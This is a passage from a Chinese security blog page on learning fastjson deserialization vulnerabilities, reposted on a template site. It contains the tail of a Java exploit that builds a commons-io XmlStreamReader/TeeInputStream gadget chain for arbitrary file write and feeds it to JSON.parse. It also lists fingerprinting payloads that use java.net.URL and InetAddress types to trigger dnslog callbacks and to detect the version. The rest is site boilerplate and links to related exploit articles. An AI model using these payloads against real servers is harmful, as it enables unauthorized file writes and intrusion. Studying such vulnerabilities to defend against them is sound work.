true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
        System.out.println(payload_commons_io_filewrite_0_6);
        JSON.parse(payload_commons_io_filewrite_0_6);
    }

    public static String getRandomString(int numChars) {
        int chars = RAND.nextInt(numChars);
        while (chars == 0)
            chars = RAND.nextInt(numChars);
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < chars; i++) {
            int index = 97 + RAND.nextInt(26);
            char c = (char) index;
            sb.append(c);
        }
        return sb.toString();
    }
}

结果:文章来源地址https://www.toymoban.com/news/detail-757591.html

fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

0x007 指纹识别:

{"@type":"java.net.InetAddress","val":"dnslog"}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable" //版本检测
fastjson反序列化漏洞,Java安全,学习,java,开发语言,Powered by 金山文档

到了这里,关于fastjson反序列化漏洞学习(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(40)
  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(35)
  • Fastjson反序列化漏洞复现小结

    简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。 1、Fastjson1.2.24远程代码执行(CNVD-2017-02833 ) 2、Fastjson=1.2.47远程代码执行漏洞(CNVD-2019-22238) 3、Fstjson =1.2.60 远程代码执行漏洞

    2023年04月08日
    浏览(36)
  • Fastjson反序列化漏洞原理与复现

    Fastjson是java的一个库,可以将Java对象转化为json格式的字符串,也可以将json格式的字符串转化为Java对象。 Fastjson提供了 toJSONString() 和 parseObject() 方法来将Java对象与JSON相互转换。调用 toJSONString() 方法即可将对象转换成 JSON 字符串, parseObject() 方法则反过来将JSON字符串转换成

    2024年02月12日
    浏览(43)
  • FastJson中AutoType反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此

    2024年02月07日
    浏览(37)
  • Fastjson反序列化远程代码执行漏洞

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。 先贴一个解决漏洞的方案: 不过任何升级一

    2024年02月09日
    浏览(35)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

    # 知识点: 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞发现利用点 - 函数 数据 4 、 Java 反序列化考点 - 真实 CTF 赛题 - 审计分析 # 内容点: 1 、明白 -Java 反序列化原理 2 、判断 -Java 反序列化漏洞 3 、学会 -Ysoserial 工具

    2024年04月10日
    浏览(46)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(40)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(34)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包